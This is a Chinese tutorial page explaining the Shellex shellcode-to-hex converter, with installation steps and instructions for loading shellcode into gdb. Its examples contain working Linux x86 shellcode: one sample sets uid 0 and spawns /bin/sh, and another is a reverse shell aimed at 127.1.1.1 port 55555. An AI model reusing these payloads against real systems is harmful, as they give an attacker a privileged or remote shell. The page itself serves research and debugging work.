溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

Shellex怎么用

發(fā)布時間:2021-12-18 10:29:21 來源:億速云 閱讀:190 作者:小新 欄目:數(shù)據(jù)安全

這篇文章給大家分享的是有關(guān)Shellex怎么用的內(nèi)容。小編覺得挺實用的,因此分享給大家做個參考,一起跟隨小編過來看看吧。

Shellex

Shellex是一款功能強(qiáng)大的C-shellcode轉(zhuǎn)換器,可以幫助廣大研究人員將C-shellcode轉(zhuǎn)換為十六進(jìn)制代碼,并且能夠在gdb、windbg、radare2、ollydbg、x64dbg、immunity調(diào)試器和010編輯器中粘貼和執(zhí)行shellcode。

在Shellex的幫助下,廣大研究人員可以將C-shellcode代碼轉(zhuǎn)換為十六進(jìn)制代碼,并且還可以在C編譯器中編譯時進(jìn)行轉(zhuǎn)換,整個過程只需要執(zhí)行Shellex,并將shellcode代碼拷貝進(jìn)去并按下回車鍵即可。

比如說,我們可以轉(zhuǎn)換多行混合了ASCII代碼的C-shellcode(注意混合部分\x68//sh\x68/bin\x89):

"\x6a\x17\x58\x31\xdb\xcd\x80"

"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"

Shellex輸出如下:

6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80

轉(zhuǎn)換包含注釋代碼的C-shellcode:

"\x68"

"\x7f\x01\x01\x01"  // <- IP:  127.1.1.1

"\x5e\x66\x68"

"\xd9\x03"          // <- Port: 55555

"\x5f\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02"

"\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79"

"\xf9\xb0\x66\x56\x66\x57\x66\x6a\x02\x89\xe1\x6a"

"\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b\x52\x68\x2f"

"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"

"\xeb\xce"

Shellex輸出如下:

68 7F 01 01 01 5E 66 68 D9 03 5F 6A 66 58 99 6A 01 5B 52 53 6A 02 89 E1 CD 80 93 59 B0 3F CD 80 49 79 F9 B0 66 56 66 57 66 6A 02 89 E1 6A 10 51 53 89 E1 CD 80 B0 0B 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 EB CE

如果你需要Shellex輸出新的C-shellcode字符串,可以使用-h參數(shù),比如說:

./shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80

 

\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80

Shellex安裝

首先,廣大研究人員需要使用下列代碼將該項目源碼克隆至本地:

git clone https://github.com/David-Reguera-Garcia-Dreg/shellex.git

針對Windows:

shellex\bins\shellex.exe

針對Linux:

sudo apt-get install tcc

shellex/linuxbins/shellex

在gdb中復(fù)制和執(zhí)行shellcode

首先,我們需要運(yùn)行Shellex。

接下來,輸入我們的shellcode:

"\x6a\x17\x58\x31\xdb\xcd\x80"

"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"

按下回車鍵后,再按下Control+D鍵。

使用shellex -h命令將Shellex輸出轉(zhuǎn)換為C-Hex字符串:

shellex -h 6A 17 58 31 DB CD 80 6A 0B 58 99 52 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 52 53 89 E1 CD 80

將C-Hex字符串以源碼形式(包含“echo”命令)寫入至文件:

echo -ne "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80" > /tmp/sc

接下來,將源碼文件寫入當(dāng)前指令指針。

32位:

restore /tmp/sc binary $eip

x/30b $eip

x/15i $eip

64位:

restore /tmp/sc binary $rip

x/30b $rip

x/15i $rip

x/30b是shellcode的字節(jié)大小,我們可以使用下列命令獲取到大小值:

wc -c /tmp/sc

x/15i是顯示的指令數(shù)量,我們可以使用ndisasm獲取正確的數(shù)量:

sudo apt-get install nasm

32位:

ndisasm -b32 /tmp/sc

ndisasm -b32 /tmp/sc | wc -l

64位:

ndisasm -b64 /tmp/sc

ndisasm -b64 /tmp/sc | wc -l

無交互模式

在Linux中轉(zhuǎn)換“\x6a\x17\x58\x31\xdb\xcd\x80”:

echo "\"\\x6a\\x17\\x58\\x31\\xdb\\xcd\\x80\"" | shellex

在Windows中轉(zhuǎn)換“\x6a\x17\x58\x31\xdb\xcd\x80”:

echo "\x6a\x17\x58\x31\xdb\xcd\x80" | shellex.exe

Windows下寫入多行文件:

C:\Users\Dreg\Desktop\shellex\bins>type sc.txt

"\x6a\x17\x58\x31\xdb\xcd\x80"

"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"

C:\Users\Dreg\Desktop\shellex\bins>type sc.txt | shellex.exe

Linux下寫入多行文件:

dreg@fr33project# cat sc.txt

"\x6a\x17\x58\x31\xdb\xcd\x80"

"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"

dreg@fr33project# cat sc.txt | shellex

感謝各位的閱讀!關(guān)于“Shellex怎么用”這篇文章就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,讓大家可以學(xué)到更多知識,如果覺得文章不錯,可以把它分享出去讓更多的人看到吧!

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI